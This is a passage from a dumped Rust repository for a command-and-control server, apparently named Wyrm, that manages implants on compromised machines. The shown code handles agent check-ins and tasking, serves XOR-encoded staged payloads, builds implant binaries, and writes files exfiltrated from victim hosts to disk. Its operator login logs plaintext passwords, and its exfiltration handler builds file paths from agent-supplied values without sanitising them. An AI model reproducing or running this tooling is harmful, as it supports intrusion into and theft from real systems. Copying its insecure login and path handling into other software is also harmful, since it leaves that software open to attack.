agent_for_db.last_checkin_time;\n            lock.first_run_data = agent_for_db.first_run_data.clone();\n        }\n\n        let Ok(mut tasks) = db.get_tasks_for_agent_by_uid(&agent_id).await else {\n            return Err(\"Failed to get tasks for agent by UID.\".to_string());\n        };\n\n        // Here is where we handle the case of needing to task first run data again\n        if re_request_frd {\n            let task = Task {\n                id: 0,\n                command: Command::AgentsFirstSessionBeacon,\n                metadata: None,\n                completed_time: 0,\n            };\n\n            match tasks.as_mut() {\n                Some(tasks) => {\n                    tasks.push(task);\n                }\n                None => tasks = Some(vec![task]),\n            }\n        }\n\n        let snapshot = {\n            let agent_guard = handle.read().await;\n            agent_guard.clone()\n        };\n\n        Ok((snapshot, tasks))\n    }\n\n    pub async fn contains_agent_by_id(&self, id: &str) -> bool {\n        let lock = self.agents.read().await;\n        lock.contains_key(id)\n    }\n\n    pub async fn remove_agent(&self, id: &str) {\n        let mut lock = self.agents.write().await;\n        lock.remove(id);\n    }\n}\n\n/// Extracts the agent ID from the headers.\n///\n/// # Panics\n/// This function will panic the request should the agent ID (or any WWW-Authenticate header) not be found.\n/// This is acceptable as we don't want to handle these requests..\npub fn extract_agent_id(headers: &HeaderMap) -> Result<String, String> {\n    let Some(result) = headers.get(\"WWW-Authenticate\") else {\n        return Err(\"No agent id found in request\".to_string());\n    };\n\n    let Ok(result) = result.to_str() else {\n        return Err(\"Could not convert agent header to str\".to_string());\n    };\n\n    Ok(result.to_string())\n}\n\n/// Checks whether the agent has the kill command as part of its tasks.\n///\n/// If the command is present, the agent will be removed from the list of active agents.\npub async fn handle_kill_command(\n    agent_list: Arc<AgentList>,\n    agent: &Agent,\n    tasks: &Option<Vec<Task>>,\n) {\n    if tasks.is_none() {\n        return;\n    }\n\n    if let Some(t) = tasks.as_ref() {\n        if tasks_contains_kill_agent(t) {\n            agent_list.remove_agent(&agent.uid).await;\n        }\n    }\n}\n\n/// Calculates the maximum time the agent can sleep for before becoming stale, and is set to\n/// double the sleep time.\n///\n/// # Returns\n/// An `i64` of the time to wait before marking as stale. If there is an integer error (value becomes\n/// negative, overflows) during operations, an error will be logged and instead the return value will be\n/// the sleep time of the agent + 1 hr.\nasync fn calculate_max_time_till_stale(sleep: u64) -> i64 {\n    const MAX_SLEEP_TILL_STALE_MUL: u64 = 2;\n\n    let res = match sleep.checked_mul(MAX_SLEEP_TILL_STALE_MUL) {\n        Some(s) => s,\n        None => {\n            log_error_async(&format!(\n                \"Failed to multiply sleep time from input time: {sleep}.\"\n            ))\n            .await;\n\n            sleep\n        }\n    } as i64;\n\n    if res.is_negative() {\n        log_error_async(&format!(\"Sleep time was negative time: {res}.\")).await;\n\n        return sleep as i64;\n    }\n\n    res\n}\n"
  },
  {
    "path": "c2/src/api/admin_routes.rs",
    "content": "use std::{net::SocketAddr, sync::Arc};\n\nuse crate::{\n    AUTH_COOKIE_NAME, COOKIE_TTL,\n    admin_task_dispatch::{dispatch_table::admin_dispatch, implant_builder::build_all_bins},\n    app_state::AppState,\n    logging::{log_admin_login_attempt, log_error_async},\n    middleware::{create_new_operator, verify_password},\n};\nuse axum::{\n    Json,\n    extract::{Multipart, Path, State},\n    http::{\n        HeaderMap, StatusCode,\n        header::{CONTENT_DISPOSITION, CONTENT_TYPE},\n    },\n    response::{Html, IntoResponse, Response},\n};\nuse axum_extra::extract::{\n    CookieJar,\n    cookie::{Cookie, SameSite},\n};\nuse shared::{\n    net::AdminLoginPacket,\n    tasks::{AdminCommand, BaBData, FileUploadStagingFromClient, WyrmResult},\n};\n\npub async fn handle_admin_commands_on_agent(\n    state: State<Arc<AppState>>,\n    Path(uid): Path<String>,\n    command: Json<AdminCommand>,\n) -> (StatusCode, Vec<u8>) {\n    let response_body_serialised = admin_dispatch(Some(uid), command.0, state).await;\n\n    (StatusCode::ACCEPTED, response_body_serialised)\n}\n\npub async fn handle_admin_commands_without_agent(\n    state: State<Arc<AppState>>,\n    command: Json<AdminCommand>,\n) -> (StatusCode, Vec<u8>) {\n    let response_body_serialised = admin_dispatch(None, command.0, state).await;\n\n    (StatusCode::ACCEPTED, response_body_serialised)\n}\n\npub async fn poll_agent_notifications(\n    state: State<Arc<AppState>>,\n    Path(uid): Path<String>,\n) -> (StatusCode, String) {\n    match state.db_pool.agent_has_pending_notifications(&uid).await {\n        Ok(has_pending) => {\n            if has_pending || state.connected_agents.contains_agent_by_id(&uid).await {\n                (StatusCode::OK, has_pending.to_string())\n            } else {\n                (StatusCode::NOT_FOUND, has_pending.to_string())\n            }\n        }\n        Err(e) => {\n            log_error_async(&format!(\"Error polling pending notifications. {e}\")).await;\n            (StatusCode::INTERNAL_SERVER_ERROR, \"\".to_string())\n        }\n    }\n}\n\npub async fn build_all_binaries_handler(\n    state: State<Arc<AppState>>,\n    Json(data): Json<BaBData>,\n) -> Response {\n    let result = build_all_bins(&data.implant_key, state).await;\n\n    match result {\n        Ok(zip_bytes) => {\n            //\n            // Prepare the data response back to the client and send it.\n            //\n            let filename = format!(\"{}.7z\", data.implant_key);\n            (\n                StatusCode::ACCEPTED,\n                [\n                    (CONTENT_TYPE, \"application/x-7z-compressed\".to_string()),\n                    (\n                        CONTENT_DISPOSITION,\n                        format!(\"attachment; filename=\\\"{}\\\"\", filename),\n                    ),\n                ],\n                zip_bytes,\n            )\n                .into_response()\n        }\n        Err(e) => {\n            log_error_async(&e).await;\n\n            (\n                StatusCode::INTERNAL_SERVER_ERROR,\n                Html(format!(\"Error building binaries: {e}\",)),\n            )\n                .into_response()\n        }\n    }\n}\n\npub async fn admin_login(\n    jar: CookieJar,\n    state: State<Arc<AppState>>,\n    headers: HeaderMap,\n    Json(body): Json<AdminLoginPacket>,\n) -> (CookieJar, Response) {\n    let ip = if let Some(h) = headers.get(\"X-Forwarded-For\") {\n        h.to_str().unwrap_or(\"Not Found\")\n    } else {\n        \"Not found\"\n    };\n    let username = body.username;\n    let password = body.password;\n\n    // Lookup the operator from the db, if its empty we will create the user in the inner match here.\n    let operator = match state.db_pool.lookup_operator(&username).await {\n        Ok(o) => o,\n        Err(e) => {\n            match e {\n                sqlx::Error::RowNotFound => {\n                    // The db is empty so create the user. The db insert function checks\n                    // for us if a user already exists, if so, it will panic as we don't want anybody\n                    // and everybody creating accounts! And we aren't yet multiplayer\n                    // create_new_operator(username, password, state.clone()).await;\n                    create_new_operator(&username, &password, state.0.clone()).await;\n                    log_admin_login_attempt(&username, &password, ip, true).await;\n                    // Now try get the user again, and continue execution\n                    state.db_pool.lookup_operator(&username).await.unwrap()\n                }\n                _ => {\n                    log_error_async(&format!(\n                        \"There was an error with the db whilst trying to log in with creds: \\\n                        {username} {password}. {e}\",\n                    ))\n                    .await;\n                    log_admin_login_attempt(&username, &password, ip, false).await;\n                    return (jar, StatusCode::INTERNAL_SERVER_ERROR.into_response());\n                }\n            }\n        }\n    };\n\n    // We got a result.. lets check the password\n    if let Some((db_username, db_hash, db_salt)) = operator {\n        // Check the username is the same as the db username, as we are doing single operator ops right now\n        // we dont want to allow for easier password spraying, at least username is one additional step of\n        // complexity.\n\n        if username.ne(&db_username) {\n            log_admin_login_attempt(&username, &password, ip, false).await;\n            return (jar, StatusCode::NOT_FOUND.into_response());\n        }\n\n        if verify_password(&password, &db_hash, &db_salt).await {\n            // At this point in here we have successfully authenticated..\n            log_admin_login_attempt(&username, &password, ip, true).await;\n\n            let sid = state.create_session_key().await;\n\n            let cookie = Cookie::build((AUTH_COOKIE_NAME, sid))\n                .path(\"/\")\n                .http_only(true)\n                .same_site(SameSite::None)\n                .max_age(COOKIE_TTL.try_into().unwrap())\n                .secure(true)\n                .build();\n\n            let jar = jar.add(cookie);\n            return (jar, (StatusCode::ACCEPTED).into_response());\n        } else {\n            // Bad password...\n            log_admin_login_attempt(&username, &password, ip, false).await;\n            return (jar, StatusCode::NOT_FOUND.into_response());\n        }\n    }\n\n    //\n    // Anything that falls through to this point is invalid\n    //\n    log_admin_login_attempt(&username, &password, ip, false).await;\n    (jar, StatusCode::NOT_FOUND.into_response())\n}\n\n/// Public route that is reachable only by the admin after going through\n/// the middleware, serves as a health check as to whether their token is\n/// valid or not.\npub async fn is_adm_logged_in() -> Response {\n    StatusCode::OK.into_response()\n}\n\npub async fn logout() -> Response {\n    StatusCode::ACCEPTED.into_response()\n}\n\npub async fn admin_upload(\n    State(state): State<Arc<AppState>>,\n    mut multipart: Multipart,\n) -> StatusCode {\n    let mut file_bytes = Vec::new();\n    let mut download_name = String::new();\n    let mut api_endpoint = String::new();\n\n    while let Some(field) = multipart.next_field().await.unwrap_or(None) {\n        match field.name() {\n            Some(\"file\") => {\n                let fname = field.file_name().map(|f| f.to_string());\n                let bytes = field.bytes().await.unwrap_or_default();\n                file_bytes = bytes.to_vec();\n\n                if download_name.is_empty() {\n                    if let Some(fname) = fname {\n                        download_name = fname;\n                    }\n                }\n            }\n            Some(\"download_name\") => download_name = field.text().await.unwrap_or_default(),\n            Some(\"api_endpoint\") => api_endpoint = field.text().await.unwrap_or_default(),\n            _ => {}\n        }\n    }\n\n    if download_name.is_empty() || api_endpoint.is_empty() || file_bytes.is_empty() {\n        return StatusCode::BAD_REQUEST;\n    }\n\n    let data = FileUploadStagingFromClient {\n        download_name,\n        api_endpoint,\n        file_data: file_bytes,\n    };\n    let res = admin_dispatch(None, AdminCommand::StageFileOnC2(data), State(state)).await;\n    StatusCode::from_u16(\n        serde_json::from_slice::<Option<WyrmResult<String>>>(&res)\n            .map(|r| {\n                if matches!(r, Some(WyrmResult::Ok(_))) {\n                    202\n                } else {\n                    500\n                }\n            })\n            .unwrap_or(500),\n    )\n    .unwrap_or(StatusCode::INTERNAL_SERVER_ERROR)\n}\n"
  },
  {
    "path": "c2/src/api/agent_get.rs",
    "content": "use std::sync::Arc;\n\nuse crate::{\n    agents::handle_kill_command,\n    app_state::AppState,\n    logging::log_error_async,\n    net::{serialise_tasks_for_agent, serve_file},\n};\nuse axum::{\n    extract::{Path, Request, State},\n    http::StatusCode,\n    response::{IntoResponse, Response},\n};\n\n/// Handles the inbound connection, after authentication has validated the agent.\n///\n/// This is very much the 'end destination' for the inbound connection.\n#[axum::debug_handler]\npub async fn handle_agent_get(state: State<Arc<AppState>>, request: Request) -> Response {\n    // Get the agent by its header, and fetch tasks from the db\n    let (agent, tasks) = match state\n        .connected_agents\n        .get_agent_and_tasks_by_header(request.headers(), &state.clone().db_pool, None)\n        .await\n    {\n        Ok((a, t)) => (a, t),\n        Err(e) => {\n            log_error_async(&e).await;\n            return StatusCode::BAD_GATEWAY.into_response();\n        }\n    };\n\n    // Check whether the kill command is present and the agent needs removing from the live list..\n    handle_kill_command(state.connected_agents.clone(), &agent, &tasks).await;\n\n    serialise_tasks_for_agent(tasks).await.into_response()\n}\n\n/// Handles the inbound connection when the URI contains a path. The function will check to see if the path\n/// is present in either the active C2 listener endpoints, or whether it is used to serve content.\n#[axum::debug_handler]\npub async fn handle_agent_get_with_path(\n    state: State<Arc<AppState>>,\n    Path(endpoint): Path<String>,\n    request: Request,\n) -> Response {\n    let state_arc = Arc::clone(&state);\n\n    //\n    // First check whether the URI is in the valid GET endpoints for the agent\n    //\n    let endpoints = {\n        let tmp = state_arc.endpoints.read().await;\n        tmp.clone()\n    };\n\n    if endpoints.c2_endpoints.contains(&endpoint) {\n        // There is no need to authenticate here, that is done subsequently during\n        // `handle_agent_get` where we pull the agent_id from the header\n        drop(endpoints);\n        return handle_agent_get(state, request).await.into_response();\n    }\n\n    //\n    // Now we check whether it was a request to the download URI, if it is, we can serve that content\n    // over to them.\n    //\n    if let Some(metadata) = endpoints.download_endpoints.get(&endpoint) {\n        if let Err(e) = state.db_pool.update_download_count(&endpoint).await {\n            log_error_async(&format!(\"Could not update download count. {e}\")).await;\n        };\n\n        let filename = &metadata.file_name;\n        return serve_file(filename, metadata.xor_key).await.into_response();\n    }\n\n    StatusCode::BAD_GATEWAY.into_response()\n}\n"
  },
  {
    "path": "c2/src/api/agent_post.rs",
    "content": "use std::sync::Arc;\n\nuse crate::{\n    EXFIL_PATH,\n    agents::{extract_agent_id, handle_kill_command},\n    app_state::AppState,\n    exfil::handle_exfiltrated_file,\n    logging::log_error_async,\n    net::serialise_tasks_for_agent,\n};\nuse axum::{\n    Json,\n    body::Body,\n    extract::{FromRequest, Multipart, Path, Request, State},\n    http::{HeaderMap, StatusCode, header::CONTENT_TYPE},\n    response::IntoResponse,\n};\nuse futures::{StreamExt, TryStreamExt};\nuse shared::{\n    net::{XorEncode, decode_http_response},\n    tasks::{Command, FirstRunData},\n};\nuse tokio::io::AsyncWriteExt;\n\npub async fn agent_post_handler_with_path(\n    state: State<Arc<AppState>>,\n    headers: HeaderMap,\n    Path(endpoint): Path<String>,\n    req: Request<Body>,\n) -> impl IntoResponse {\n    let state_arc = Arc::clone(&state);\n\n    {\n        let lock = state_arc.endpoints.read().await;\n        if lock.c2_endpoints.contains(&endpoint) {\n            drop(lock);\n            if is_multipart(req.headers()) {\n                match Multipart::from_request(req, &state).await {\n                    Ok(mp) => return receive_exfil(mp).await.into_response(),\n                    Err(_) => return StatusCode::BAD_REQUEST.into_response(),\n                }\n            }\n\n            let json = match Json::<Vec<Vec<u8>>>::from_request(req, &state).await {\n                Ok(payload) => payload,\n                Err(_) => return StatusCode::BAD_REQUEST.into_response(),\n            };\n\n            return handle_agent_post_standard(state, headers, json)\n                .await\n                .into_response();\n        }\n    }\n\n    // endpoint not found / valid\n    StatusCode::BAD_GATEWAY.into_response()\n}\n\npub async fn agent_post_handler(\n    state: State<Arc<AppState>>,\n    headers: HeaderMap,\n    req: Request<Body>,\n) -> impl IntoResponse {\n    if is_multipart(req.headers()) {\n        match Multipart::from_request(req, &state).await {\n            Ok(mp) => return receive_exfil(mp).await.into_response(),\n            Err(_) => return StatusCode::BAD_REQUEST.into_response(),\n        }\n    }\n\n    let json = match Json::<Vec<Vec<u8>>>::from_request(req, &state).await {\n        Ok(payload) => payload,\n        Err(_) => return StatusCode::BAD_REQUEST.into_response(),\n    };\n\n    match handle_agent_post_standard(state, headers, json).await {\n        Ok(r) => r.into_response(),\n        Err(e) => {\n            log_error_async(&e).await;\n            return StatusCode::BAD_GATEWAY.into_response();\n        }\n    }\n}\n\nasync fn handle_agent_post_standard(\n    state: State<Arc<AppState>>,\n    headers: HeaderMap,\n    Json(payload): Json<Vec<Vec<u8>>>,\n) -> Result<Vec<u8>, String> {\n    let cl = state.clone();\n\n    // We check the payload length later in an assert to make sure there is no incorrect state going on.\n    let payload_len = payload.len();\n\n    for item in payload {\n        let decoded = item.xor_network_stream();\n\n        let mut task = decode_http_response(&decoded);\n\n        //\n        // First we check here whether the agent is connecting for the FIRST time since it was exited.\n        // For example, from a reboot, or from killing the process.\n        // This does not mean, first time ever seen like full stop, that doesn't matter.\n        //\n        // We split the separation because we don't want to start making things completed as below with\n        // `mark_task_completed`, or adding to the completed pool, as this task will never exist in the database.\n        // It serves only the implant itself.\n        //\n        // NOTE: This branch will RETURN from the processing of the beacons tasks; in theory there should ONLY\n        // ever be this one `Command` sent up to the C2 on first connect, so it should be fine - I cannot see\n        // any circumstance where other tasks will be pending processing along-with this command, unless we mess\n        // up and accidentally write this task somewhere we shouldn't. If that happens, hopefully this comment\n        // will help debug :).\n        //\n        if task.command == Command::AgentsFirstSessionBeacon {\n            // Validate the state that there is only 1 task.\n            // The invalid state will brick implants, so forces the bug to be reviewed if it appears.\n            // But.. this should never appear.\n            assert!(payload_len == 1);\n\n            let Some(metadata) = task.metadata else {\n                return Err(\"Task metadata was None\".to_string());\n            };\n\n            let first_run_data: FirstRunData = match serde_json::from_str(&metadata) {\n                Ok(d) => d,\n                Err(e) => panic!(\"Failed to deserialise first run data from string. {e}\"),\n            };\n\n            // Serialise the tasks and send them back\n            let (agent, tasks) = state\n                .connected_agents\n                .get_agent_and_tasks_by_header(&headers, &cl.db_pool, Some(first_run_data))\n                .await?;\n\n            let mut init_tasks = agent.get_config_data();\n            if let Some(mut tasks) = tasks {\n                init_tasks.append(&mut tasks);\n            }\n\n            return Ok(serialise_tasks_for_agent(Some(init_tasks)).await);\n        }\n\n        // Handle file exfil - save to disk and remove the exfil bytes, we dont want to store those\n        // in the database if we are saving the file to disk.\n        if task.command == Command::Pull {\n            handle_exfiltrated_file(&mut task).await;\n        }\n\n        // If we have console messages, we need to explicitly put these in as a new task; although it isn't\n        // a task strictly speaking, not doing so breaks the current model\n        if task.command == Command::ConsoleMessages {\n            let uid = extract_agent_id(&headers)?;\n            let id = state\n                .db_pool\n                .add_task_for_agent_by_id(&uid, Command::ConsoleMessages, None)\n                .await\n                .map_err(|e| format!(\"Failed to add task for agent by ID: {uid} {e}\"))?;\n\n            // Overwrite the task ID from 1 to the new one\n            task.id = id;\n        }\n\n        //\n        // Command::AgentsFirstSessionBeacon was not present, so continue to\n        //\n\n        if let Err(e) = state.db_pool.mark_task_completed(&task).await {\n            {\n                log_error_async(&format!(\n                    \"Failed to complete task in db where task ID = {}. {e}\",\n                    task.id\n                ))\n                .await;\n            }\n        }\n\n        // Get a copy of the agent\n        let agent_id = extract_agent_id(&headers)?;\n        if let Err(e) = state.db_pool.add_completed_task(&task, &agent_id).await {\n            log_error_async(&format!(\n                \"Failed to add task results to completed table where task ID = {}. {e}\",\n                task.id\n            ))\n            .await\n        }\n    }\n\n    //\n    // Get any additional tasks from the database.\n    //\n    let (agent, tasks) = state\n        .connected_agents\n        .get_agent_and_tasks_by_header(&headers, &cl.db_pool, None)\n        .await?;\n\n    //\n    // Check whether the kill command is present and the agent needs removing from the live list..\n    //\n    handle_kill_command(state.connected_agents.clone(), &agent, &tasks).await;\n\n    //\n    // Serialise the response and return it\n    //\n    Ok(serialise_tasks_for_agent(tasks).await)\n}\n\nasync fn receive_exfil(mut mp: Multipart) -> Result<StatusCode, StatusCode> {\n    let mut hostname: Option<String> = None;\n    let mut source_path: Option<String> = None;\n\n    while let Some(field) = mp.next_field().await.map_err(|_| StatusCode::BAD_REQUEST)? {\n        match field.name() {\n            Some(\"hostname\") => {\n                hostname = Some(field.text().await.map_err(|_| StatusCode::BAD_REQUEST)?)\n            }\n            Some(\"source_path\") => {\n                source_path = Some(field.text().await.map_err(|_| StatusCode::BAD_REQUEST)?)\n            }\n            Some(\"file\") => {\n                let host = hostname.as_deref().ok_or(StatusCode::BAD_REQUEST)?;\n                let path = source_path.as_deref().ok_or(StatusCode::BAD_REQUEST)?;\n\n                let mut dest = format!(\"{EXFIL_PATH}/{host}/{path}\");\n                dest = dest.replace(r\"C:\\\", \"\").replace('\\\\', \"/\");\n                if let Some(parent) = std::path::Path::new(&dest).parent() {\n                    tokio::fs::create_dir_all(parent)\n                        .await\n                        .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;\n                }\n\n                let mut out = tokio::fs::File::create(&dest)\n                    .await\n                    .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;\n\n                let mut stream = field.into_stream();\n                while let Some(chunk) = stream.next().await {\n                    out.write_all(&chunk.map_err(|_| StatusCode::BAD_REQUEST)?)\n                        .await\n                        .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;\n                }\n            }\n            _ => {}\n        }\n    }\n\n    Ok(StatusCode::OK)\n}\n\nfn is_multipart(headers: &HeaderMap) -> bool {\n    headers\n        .get(CONTENT_TYPE)\n        .and_then(|v| v.to_str().ok())\n        .map(|v| v.starts_with(\"multipart/\"))\n        .unwrap_or(false)\n}\n"
  },
  {
    "path": "c2/src/api/mod.rs",
    "content": "pub mod admin_routes;\npub mod agent_get;\npub mod agent_post;\n"
  },
  {
    "path": "c2/src/app_state.rs",
    "content": "use std::{\n    collections::{HashMap, HashSet},\n    env,\n    path::PathBuf,\n    sync::Arc,\n    time::{Duration, Instant},\n};\n\nuse rand::{Rng, distr::Alphanumeric};\nuse tokio::{\n    sync::{Mutex, RwLock},\n    time::sleep,\n};\n\nuse crate::{\n    COOKIE_TTL, FILE_STORE_PATH,\n    agents::AgentList,\n    db::Db,\n    logging::log_error_async,\n    profiles::{Profile, add_listeners_from_profiles, add_tokens_from_profiles},\n};\n\npub struct AppState {\n    /// The agents currently connected to the C2 which are able to be interacted with\n    pub connected_agents: Arc<AgentList>,\n    /// Database pool\n    pub db_pool: Db,\n    pub endpoints: RwLock<Endpoints>,\n    /// Tokens added during the agent creation wizard in which validate agents who are authorised to talk to the C2\n    pub agent_tokens: RwLock<HashSet<String>>,\n    pub profile: RwLock<Profile>,\n    sessions: Arc<Mutex<HashMap<String, Instant>>>,\n}\n\n#[derive(Debug, Clone)]\npub struct DownloadEndpointData {\n    pub file_name: String,\n    pub internal_name: String,\n    pub xor_key: Option<u8>,\n}\n\nimpl DownloadEndpointData {\n    pub fn new(file_name: &str, internal_name: &str, xor_key: Option<u8>) -> Self {\n        Self {\n            file_name: file_name.into(),\n            internal_name: internal_name.into(),\n            xor_key,\n        }\n    }\n}\n\n#[derive(Debug, Clone)]\npub struct Endpoints {\n    /// API endpoints which can be polled by the agent to check in / get tasks / POST data\n    pub c2_endpoints: HashSet<String>,\n    /// `HashMap<endpoint, DownloadEndpointData>` - A collection of URI endpoints,\n    /// not including a /, which can serve agents over HTTP(s).\n    pub download_endpoints: HashMap<String, DownloadEndpointData>,\n}\n\nimpl Endpoints {\n    /// Searches for, and formats with a leading `/` a download endpoint if it exists.\n    ///\n    /// # Returns\n    /// - `Some` containing `/download_endpoint` if it exists.\n    /// - `None` if the endpoint was not found.\n    pub fn find_format_download_endpoint(&self, needle: &str) -> Option<String> {\n        for row in self.download_endpoints.iter() {\n            if row.0.eq(needle) {\n                // The URI doesn't include the leading /, so we add it here\n                return Some(format!(\"/{}\", row.0));\n            }\n        }\n\n        None\n    }\n\n    pub async fn read_staged_file_by_file_name(&self, needle: &str) -> Result<Vec<u8>, String> {\n        //\n        // Note internal name is NOT used.. so filename it is\n        // TODO rm internal_name from the DownloadEndpointData if not needed\n        //\n        for (_, v) in self.download_endpoints.iter() {\n            if v.file_name == needle {\n                let mut path = PathBuf::from(FILE_STORE_PATH);\n                path.push(&v.file_name);\n\n                let tool_data = match tokio::fs::read(&path).await {\n                    Ok(f) => f,\n                    Err(e) => {\n                        return Err(format!(\"Could not read file {}, {e}\", path.display()));\n                    }\n                };\n\n                return Ok(tool_data);\n            }\n        }\n\n        Err(format!(\n            \"Could not find {needle} in staged resources by internal name\"\n        ))\n    }\n}\n\nimpl AppState {\n    pub async fn from(db_pool: Db, profile: Profile) -> Self {\n        // Fetch the endpoints from the database that we are going to use. If none are setup, it will\n        // default to `::new()` for each type.\n        let (mut c2_endpoints, download_endpoints, mut agent_tokens) =\n            db_pool.get_agent_related_db_cfg().await.unwrap();\n\n        // Add any listener URIs specified in the profile(s)\n        add_listeners_from_profiles(&mut c2_endpoints, &profile);\n        add_tokens_from_profiles(&mut agent_tokens, &profile);\n\n        let endpoints = Endpoints {\n            c2_endpoints,\n            download_endpoints,\n        };\n\n        let profile = RwLock::new(profile);\n\n        let sessions = Arc::new(Mutex::new(HashMap::new()));\n\n        Self {\n            db_pool,\n            connected_agents: Arc::new(AgentList::default()),\n            endpoints: RwLock::new(endpoints),\n            agent_tokens: RwLock::new(agent_tokens),\n            profile,\n            sessions,\n        }\n    }\n\n    pub fn track_sessions(&self) {\n        let sessions: Arc<Mutex<HashMap<String, Instant>>> = self.sessions.clone();\n        tokio::spawn(async move {\n            loop {\n                let now = Instant::now();\n                {\n                    let mut lock = sessions.lock().await;\n                    lock.retain(|_, value| now.duration_since(*value) < COOKIE_TTL);\n                }\n\n                sleep(Duration::from_secs(60)).await;\n            }\n        });\n    }\n\n    pub async fn create_session_key(&self) -> String {\n        let mut lock = self.sessions.lock().await;\n\n        // Loop until we generate a unique key (1024 alphanumeric character space) which is not already in the store\n        let sid = loop {\n            let rng = rand::rng();\n            let key: String = rng\n                .sample_iter(&Alphanumeric)\n                .take(1024)\n                .map(char::from)\n                .collect();\n\n            if lock.try_insert(key.clone(), Instant::now()).is_ok() {\n                break key;\n            }\n        };\n\n        sid\n    }\n\n    /// Determines whether the presented `key` is valid in the current sessions on\n    /// the server.\n    pub async fn has_session(&self, key: &str) -> bool {\n        let lock = self.sessions.lock().await;\n\n        let key = key\n            .strip_prefix(\"session=\")\n            .expect(\"could not find prefix session=\");\n\n        lock.contains_key(key)\n    }\n\n    pub async fn remove_session(&self, key: &str) {\n        let mut lock = self.sessions.lock().await;\n\n        let key = key\n            .strip_prefix(\"session=\")\n            .expect(\"could not find prefix session=\");\n\n        let _ = lock.remove(key);\n    }\n}\n\n/// Continually monitors for when an agent hasn't checked in after an appropriate period and will automatically remove\n/// it from the list of live agents.\npub async fn detect_stale_agents(state: Arc<AppState>) {\n    // The duration to sleep the async task which will check whether we need to remove an agent from the\n    // live list.\n    const LOOP_SLEEP_SECONDS: u64 = 10;\n\n    loop {\n        {\n            state.connected_agents.mark_agents_stale().await;\n            tokio::time::sleep(Duration::from_secs(LOOP_SLEEP_SECONDS)).await;\n        }\n    }\n}\n"
  },
  {
    "path": "c2/src/db.rs",
    "content": "﻿//! All database related functions\n\nuse std::{\n    collections::{HashMap, HashSet},\n    env,\n    time::Duration,\n};\n\nuse chrono::{DateTime, Utc};\nuse shared::tasks::{Command, FirstRunData, NewAgentStaging, Task};\nuse shared_c2_client::{NotificationsForAgents, StagedResourceData};\nuse sqlx::{Pool, Postgres, Row, migrate::Migrator, postgres::PgPoolOptions};\n\nuse crate::{\n    agents::Agent,\n    app_state::DownloadEndpointData,\n    logging::{print_failed, print_info, print_success},\n};\n\nconst MAX_DB_CONNECTIONS: u32 = 30;\nconst DB_ACQUIRE_TIMEOUT_SECS: u64 = 3;\nconst DB_STATEMENT_TIMEOUT_MS: u64 = 30_000;\nstatic MIGRATOR: Migrator = sqlx::migrate!(\"./migrations\");\n\npub struct Db {\n    pool: Pool<Postgres>,\n}\n\nimpl Db {\n    /// Establish the connection to the Postgres db\n    pub async fn new() -> Self {\n        let db_string = format!(\n            \"postgres://{}:{}@{}/{}\",\n            env::var(\"POSTGRES_USER\").expect(\"could not find POSTGRES_USER\"),\n            env::var(\"POSTGRES_PASSWORD\").expect(\"could not find POSTGRES_PASSWORD\"),\n            env::var(\"POSTGRES_HOST\").expect(\"could not find POSTGRES_HOST\"),\n            env::var(\"POSTGRES_DB\").expect(\"could not find POSTGRES_DB\")\n        );\n\n        print_info(format!(\"Connecting to database...\"));\n\n        let pool = PgPoolOptions::new()\n            .max_connections(MAX_DB_CONNECTIONS)\n            .acquire_timeout(Duration::from_secs(DB_ACQUIRE_TIMEOUT_SECS))\n            .after_connect(|conn, _meta| {\n                Box::pin(async move {\n                    let stmt = format!(\"SET statement_timeout = {}\", DB_STATEMENT_TIMEOUT_MS);\n                    sqlx::query(&stmt).execute(conn).await?;\n                    Ok(())\n                })\n            })\n            .connect(&db_string)\n            .await\n            .map_err(|e| {\n                let msg = format!(\"Could not establish a database connection. {e}\");\n                print_failed(&msg);\n                panic!(\"Could not establish a database connection. {e}\");\n            })\n            .expect(\"could not setup PgPoolOptions\");\n\n        if let Err(e) = MIGRATOR.run(&pool).await {\n            print_failed(&format!(\"Could not run db migrations. {e}\"));\n            panic!(\"Could not run db migrations. {e}\");\n        }\n\n        print_success(\"Db connection established\");\n\n        Self { pool }\n    }\n\n    // ************* DATABASE QUERIES\n\n    /// Get an `Agent` from the db by its id and retrieves any tasks that are pending for\n    /// the agent.\n    pub async fn get_agent_with_tasks_by_id(\n        &self,\n        id: &str,\n        frd: FirstRunData,\n    ) -> Result<(Agent, Option<Vec<Task>>), sqlx::Error> {\n        // Get the agent\n        let row = sqlx::query(\n            r#\"\n            SELECT uid, sleep\n            FROM agents\n            WHERE uid = $1\"#,\n        )\n        .bind(id)\n        .fetch_one(&self.pool)\n        .await?;\n\n        let sleep: i64 = row.try_get(\"sleep\")?;\n        let sleep = sleep as u64;\n\n        // Strictly speaking this isn't coming from the DB, but the time will close enough within\n        // a reasonable degree of error.\n        let last_check_in: DateTime<Utc> = Utc::now();\n\n        // Get any tasks\n        let tasks = self.get_tasks_for_agent_by_uid(id).await?;\n\n        Ok((\n            Agent {\n                uid: id.to_string(),\n                sleep,\n                first_run_data: frd,\n                last_checkin_time: last_check_in,\n                is_stale: false,\n            },\n            tasks,\n        ))\n    }\n\n    pub async fn get_tasks_for_agent_by_uid(\n        &self,\n        uid: &str,\n    ) -> Result<Option<Vec<Task>>, sqlx::Error> {\n        let rows = sqlx::query(\n            r#\"\n            UPDATE tasks\n            SET fetched = TRUE\n            WHERE id IN (\n                SELECT id\n                FROM tasks\n                WHERE agent_id = $1\n                    AND fetched IS NOT TRUE\n                ORDER BY id ASC\n                FOR UPDATE SKIP LOCKED\n            )\n            RETURNING id, command_id, data\n            \"#,\n        )\n        .bind(uid)\n        .fetch_all(&self.pool)\n        .await?;\n\n        if rows.is_empty() {\n            return Ok(None);\n        }\n\n        let mut tasks: Vec<Task> = Vec::new();\n\n        for row in rows {\n            let task_id: i32 = row.try_get(\"id\")?;\n            let command_id: i32 = row.try_get(\"command_id\")?;\n            let metadata: Option<String> = row.try_get(\"data\")?;\n\n            let command = Command::from_u32(command_id as _);\n\n            let task = Task::from(task_id, command, metadata);\n\n            // As we are pulling tasks from the db to send back to the client; we want to make sure\n            // at this point we mark any tasks as complete which are auto-completable that don't require\n            // a response posted back to us\n            if command.is_autocomplete() {\n                self.mark_task_completed(&task)\n                    .await\n                    .expect(\"Could not complete task\");\n                self.add_completed_task(&task, uid)\n                    .await\n                    .expect(\"Could not add task to completed\");\n            }\n\n            tasks.push(task);\n        }\n\n        tasks.sort_by_key(|task| task.id);\n\n        Ok(Some(tasks))\n    }\n\n    pub async fn insert_new_agent(\n        &self,\n        id: &str,\n        frd: FirstRunData,\n    